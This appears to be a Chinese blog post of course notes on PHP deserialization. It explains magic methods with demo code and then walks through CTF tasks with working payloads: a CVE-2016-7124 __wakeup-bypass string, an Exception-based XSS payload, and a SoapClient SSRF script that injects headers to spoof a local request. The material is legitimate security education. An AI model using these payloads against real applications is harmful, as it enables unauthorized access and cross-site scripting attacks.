chenhongl

导航

 

 

知识点:
1、反序列化魔术方法全解
2、反序列化变量属性全解
3、反序列化魔术方法原生类
4、反序列化语言特性漏洞绕过

~其他魔术方法
共有&私有&保护
语言模式方法漏洞
~原生类获取利用配合

#反序列化利用大概分类三类
-魔术方法的调用逻辑如触发条件
-语言原生类的调用逻辑如SoapClient
-语言自身的安全缺陷如CVE-2016-7124

 

#反序列化课程点:
-PHP&Java&Python

__construct()://构造函数,当对象new的时候会自动调用
__destruct()://析构函数当对象被销毁时会被自动调用
__wakeup()://unserialize()时会被自动调用
__invoke(): //当尝试以调用函数的方法调用一个对象时,会被自动调用
__call(): //在对象上下文中调用不可访问的方法时触发
__callStatci(): //在静态上下文中调用不可访问的方法时触发
__get(): //用于从不可访问的属性读取数据
__set(): //用于将数据写入不可访问的属性
__isset(): //在不可访问的属性上调用isset()或empty()触发
__unset(): //在不可访问的属性上使用unset()时触发
__toString(): //把对象当作字符串使用时触发
__sleep(): //serialize()函数会检查类中是否存在一个魔术方法__sleep() 如果存在,该方法会被优先调用


一、魔法方法调用详解

1、魔术方法:

  __construct创建对象时调用

  __destruct 对象销毁时调用

<?php
class Test{
    public $name;
    public $age;
    public $string;
    
    // __construct:实例化对象时被调用.其作用是拿来初始化一些值。
    public function __construct($name, $age, $string){
        echo "__construct 初始化"."<br>";
        $this->name = $name;
        $this->age = $age;
        $this->string = $string;
    }
    
    // __destruct:当删除一个对象或对象操作终止时被调用。其最主要的作用是拿来做垃圾回收机制。
    //当对象销毁时会调用此方法:一是用户主动销毁对象,二是当程序结束时由引擎自动销毁
   function __destruct(){
       echo "__destruct 类执行完毕"."<br>";
    }
}
 
 
//①主动销毁对象:unset($x)
$test = new Test("Spaceman",566, 'Test String');  //创建对象,调用__construct()
unset($test); //主动销毁,触发__destruct()
echo '第一种执行完毕'.'<br>';//先调用,在执行
//先调用__destruct,再输出echo的内容 
 
//②程序结束自动销毁对象
$test = new test("Spaceman",566, 'Test String');
echo '第二种执行完毕'.'<br>';
//输出:__construct 初始化   第二种执行完毕     __destruct 类执行完毕(先执行echo内容,程序执行完成后销毁)
?>

 

2、__toString():把类对象当作字符串使用时触发

<?php
class Test
{
    public $variable = 'This is a string';
    public function good(){
        echo $this->variable . '<br />';
    }
 
    //__toString():在对象当做字符串的时候被调用
    public function __toString(){
        return '__toString <br>';
    }
}
 
$a = new Test();
$a->good();//调用了good函数
echo $a;  //把对象当做字符串进行输出,触发__toString()方法
?>

 

3、__CALL():调用某个方法, 若方法存在,则直接调用;若不存在,则会去调用__call函数。

<?php
class Test{
    public function good($number,$string){
        echo '存在good方法'.'<br>';
        echo $number.'---------'.$string.'<br>';
    }
 
    // 当调用类中不存在的方法时,就会调用__call();
    public function __call($method,$args){
        echo '不存在'.$method.'方法'.'<br>';
        var_dump($args);
    }
}
 
$a = new Test();
$a->good(566,'nice');
输出:(调用存在的good方法,不会触发__call方法)
存在good方法 
566---------nice

 
$b = new Test();
$b->spaceman(899,'no');
输出:(调用不存在的spaceman方法,触发__call方法)
不存在spaceman方法   
array(2) { [0]=> int(899) [1]=> string(2) "no" }
?>

 

4、__get() 魔术方法:读取一个对象的属性时,若属性存在,则直接返回属性值;若不存在,则会调用__get函数

<?php
class Test {
    public $n=123;

    // __get():访问不存在的成员变量时调用
    public function __get($name){
        echo '__get 不存在成员变量'.$name.'<br>';
    }
}
 
$a = new Test();
echo $a->n;  //存在成员变量n,所以不调用__get
//输出:123
 
echo '<br>';
echo $a->spaceman; //不存在成员变量spaceman,所以调用__get
//输出:__get 不存在成员变量spaceman
?>

 

5、__set()魔术方法:设置一个对象的属性时, 若属性存在,则直接赋值;若不存在,则会调用__set函数。

__set($name, $value):为私有成员属性设置的值

  第一个参数为设置值的属性名;

  第二个参数是要给属性设置的值,没有返回值;

<?php
class Test{
    public $data = 100;
    protected $noway=0;
 
    //__set():设置对象不存在的属性或无法访问(私有)的属性时调用
    public function __set($name,$value){
        echo '__set 不存在成员变量 '.$name.'<br>';
        echo '即将设置的值 '.$value."<br>";
        $this->noway=$value;
    }
 
    public function Get(){
        echo $this->noway;
    }
}
 
$a = new Test();
$a->Get(); // 读取noway 的值,初始为0
输出:0(初始值)
 
echo '<br>';
$a->noway  = 899;  //无法访问(私有)noway属性时调用,并设置值为899
$a->Get();  //经过__set方法的设置noway的值为899
输出:__set 不存在成员变量 noway  即将设置的值 899  899
 
echo '<br>';
$a->spaceman = 566;  // 设置对象不存在的属性spaceman
$a->Get(); // 经过__set方法的设置noway的值为566
输出:__set 不存在成员变量 spaceman  即将设置的值 566  566

?>

 

6、__sleep():serialize之前被调用,可以指定要序列化的对象属性。

<?php
class Test{
    public $name;
    public $age;
    public $string;
 
    // __construct:实例化对象时被调用.其作用是拿来初始化一些值。
    public function __construct($name, $age, $string){
        echo "__construct 初始化"."<br>";
        $this->name = $name;
        $this->age = $age;
        $this->string = $string;
    }
 
    //  __sleep() :serialize之前被调用,可以指定要序列化的对象属性
    public function __sleep(){
        echo "当在类外部使用serialize()时会调用这里的__sleep()方法<br>";
        return array('name', 'age'); //例如指定只需要 name 和 age 进行序列化,必须返回一个数值
    }
}
 
$a = new Test("Spaceman",566, 'Test String');
echo serialize($a);  //序列化前,调用__sleep()
?>

输出:

 

7、__wakeup():反序列化恢复对象之前调用该方法

<?php
class Test{
    public $sex;
    public $name;
    public $age;
 
    public function __construct($name, $age, $sex){
        $this->name = $name;
        $this->age = $age;
        $this->sex = $sex;
    }
 
    public function __wakeup(){
        echo "当在类外部使用unserialize()时会调用这里的__wakeup()方法<br>";
        $this->age = 566;
    }
}
 
$person = new Test('spaceman',21,'男');
$a = serialize($person);
echo $a."<br>"; 
var_dump(unserialize($a));  //反序列化unserialize($a),触发__wakeup()
?>

输出:

 

8、__isset():检测对象的某个属性是否存在时执行此函数。当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用

<?php
class Person{
    public $sex;
    private $name;
    private $age;
 
    public function __construct($name, $age, $sex){
        $this->name = $name;
        $this->age = $age;
        $this->sex = $sex;
    }
 
    // __isset():当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用。
    public function __isset($content){
        echo "当在类外部使用isset()函数测定私有成员 {$content} 时,自动调用<br>";
        return isset($this->$content);
    }
}
 
$person = new Person("spaceman", 25,'男');
echo ($person->sex),"<br>"; //访问public属性  男
echo isset($person->sex),"<br>"; //访问public属性  1
echo isset($person->name);  //访问private属性  调用__isset()方法
?>

输出:

 

9、__unset():在不可访问的属性上使用unset()时触发 销毁对象的某个属性时执行此函数

<?php
class Person{
    public $sex;  //公有
    private $name; //私有
    private $age;  //私有
 
    public function __construct($name, $age, $sex){
        $this->name = $name;
        $this->age = $age;
        $this->sex = $sex;
    }
 
    // __unset():销毁对象的某个属性时执行此函数
    public function __unset($content) {
        echo "当在类外部使用unset()函数来删除私有成员时自动调用的<br>";
        echo isset($this->$content)."<br>";
    }
}
 
$person = new Person("spaceman", 21,"男"); // 初始赋值
echo "666666<br>";
unset($person->name);//name私有属性,调用__unset() 
unset($person->age); //age私有属性,调用__unset()
unset($person->sex);//sex公有属性,不调用__unset()
?>

输出:

 

10、__INVOKE():将对象当做函数来使用时执行此方法,通常不推荐这样做

<?php
class Test{
    // _invoke():以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用
    public function __invoke($param1, $param2, $param3)
{
        echo "这是一个对象<br>";
        var_dump($param1,$param2,$param3);
    }
}
 
$a  = new Test();
$a('spaceman',21,'男'); //以调用函数的方式调用一个对象,触发__invoke()
?>

 

 二、对象变量属性与序列化后的显示

对象变量属性:
  public(公共的)在本类内部、外部类、子类都可以访问
  protect(受保护的)只有本类或子类或父类中可以访问
  private(私人的)只有本类内部可以使用
序列化后的数据显示:
  private属性序列化的时候格式是:%00类名%00成员名
  protect属性序列化的时候格式是:%00*%00成员名

<?php
class test{
    public $name="xiaodi"; //公有
    private $age="29";     //私有
    protected $sex="man"; //受保护的
}
$a=new test();
$a=serialize($a);
print_r($a); 
?>

输出:O:4:"test":3:{s:4:"name";s:6:"xiaodi";s:9:"testage";s:2:"29";s:6:"*sex";s:3:"man";}

其中:

s:9:"testage"; 因为age是私有属性,序列化后的格式:%00test%00age(%00算一个字符,这里就是9个字符,%00省略)

s:6:"*sex";  sex是受保护的属性,序列化后的格式:%00*%00sex

所以:序列化serialize($a)操作时,一般会对序列化后的字符串进行编码操作,因为有%00的符号

 

三、案例

1、CTF语言漏洞-wakeup() 方法绕过

极客大挑战20191 PHP CVE2016-7124

如果存在wakeup方法,调用unserilize(O方法前则先调用wakeup方法,
但是序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过wakeup的执行
1、下载源码分析,触发flag条件
2、分析会缺发调用wakeup强制username值
3、利用语言漏洞绕过CVE-2016-7124
4、构造payload后修改满足漏洞条件发
Pyload
select=0%3A4%3A"Name"%3A3%3A%7Bs%3A14%3A%00Name%00username"%3Bs
%3A5%3A"admin"%3Bs%3A14%3A%00Name%00password"%3Bi%3A100%3B%7D

① 通过文件目录扫描出www.zip文件,下载查看源代码

 ② 代码分析

查看index.php:
<?php
  include 'class.php';    //文件包含
  $select = $_GET['select'];
  $res=unserialize(@$select);  //unserialize反序列化操作
?>


查看class.php:

 文件中含有网站源代码,观察网站源码发现要想获得flag需要

password=100&username=admin,同时并未给出传参的位置,
所以需要利用反序列化构造username和password,

在哪里能触发出flag来,在__destruct魔术方法中,并且要username==='admin'才能得到flag,在构造poc链的时候强制性把username改成admin,但是用到unserialize这个函数,就一定会触发__wakeup代码,那么就会把username强制转化为guest
那么怎么绕过__wokeup这个函数呢?参考 CVE-2016-7124这个漏洞。参考https://www.cnblogs.com/zy-king-karl/p/11436872.html
如果存在__wakeup方法,调用 unserilize() 方法前则先调用__wakeup方法,但是序列化字符串中表示对象属性个数的值大于 真实的属性个数时会跳过__wakeup的执行

构造链:
<?php
class Name{
  private $username = 'admin';
  private $password = '100';
}
$a=new Name();
echo urlencode(serialize($a)); 
?>

生成poc:
O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

修改个数:
O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

构造payload:?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

 

四、魔术方法的原生类获取&利用&配合其他

1、PHP有哪些原生类-见脚本使用
# 用脚本获取所有魔术方法的原生类

<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array(
            '__destruct',
            '__toString',
            '__wakeup',
            '__call',
            '__callStatic',
            '__get',
            '__set',
            '__isset',
            '__unset',
            '__invoke',
            '__set_state'
            ))) {
            print $class . '::' . $method . "\n";
        }
    }
}
 
?>

访问http://127.0.0.1:8081/web/ctfshow/yslhq.php 就可以得到原生类

 

【例】:利用代码形成xss漏洞
<?php
highlight_file(__file__);
$a = unserialize($_GET['k']);   //反序列化成对象输出,接收的k的值
echo $a;
?>

这里有将对象$a输出,可以考虑将对象当成字符串输出时,可触发魔法方法__toString()
本身文件是没有__toString()方法的,如何构造xss的代码?
本身无代码调用的,可以使用原生类
参考:浅析PHP原生类 https://www.anquanke.com/post/id/264823

利用之前的代码来获取__toString()原生类:

 Exception报错显示

搜索Exception::__toString()的用法:https://www.php.net/manual/zh/class.exception.php

 

Exception::__toString()示例:

 利用Exception可以抛出异常对象的内容

 

那么应该怎么执行触发呢?
先把跨站代码作为异常对象,进行序列化,得到字符串,并进行url编码:
<?php
$a=new Exception("<script>alert('xiaodi')</script>");
echo urlencode(serialize($a));
?>

生成编程后的跨站字符串:O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A32%3A%22%3Cscript%3Ealert%28%27xiaodi%27%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A15%3A%22%2Fbox%2Fscript.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D

将跨站字符串作为k的参数传入,执行,

http://127.0.0.1:8081/web/ctfshow/ctf-xss.php?k=O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A32%3A%22%3Cscript%3Ealert%28%27xiaodi%27%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A15%3A%22%2Fbox%2Fscript.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D

 

2、CTFSHOW-259

 

 这里调用的getFlag(),我们认为是不存在的方法

在对象上下文调用不可访问的方法时触发__call()

以上代码中都没有__call()方法

考虑原生类

通过php脚本获取到__call()的的原生类方法

 

参考:浅析PHP原生类 https://www.anquanke.com/post/id/264823

SoapClientPHP 的内置类 SoapClient 是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的 PHP 客户端。

-SoapClient使用查询编写利用,利用SSRF让服务器自己去访问

-Flag.php只能是本地访问,获取Flag,访问的时候加上ua
<?php
$ua="aaa\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
$client=new SoapClient(null,array('uri'=>'http://127.0.0.1/','location'=>'http://127.0.0.1/flag.php','user_agent'=>$ua));
echo urlencode(serialize($client));
?>

访问,得到序列化后的值:

 把值赋给vip的参数进行访问:http://xx.ctf.show/?vip=xxx

 访问flag.txt:

 

 

 

posted on 2024-06-03 16:26  chenhongl  阅读(96)  评论(0)    收藏  举报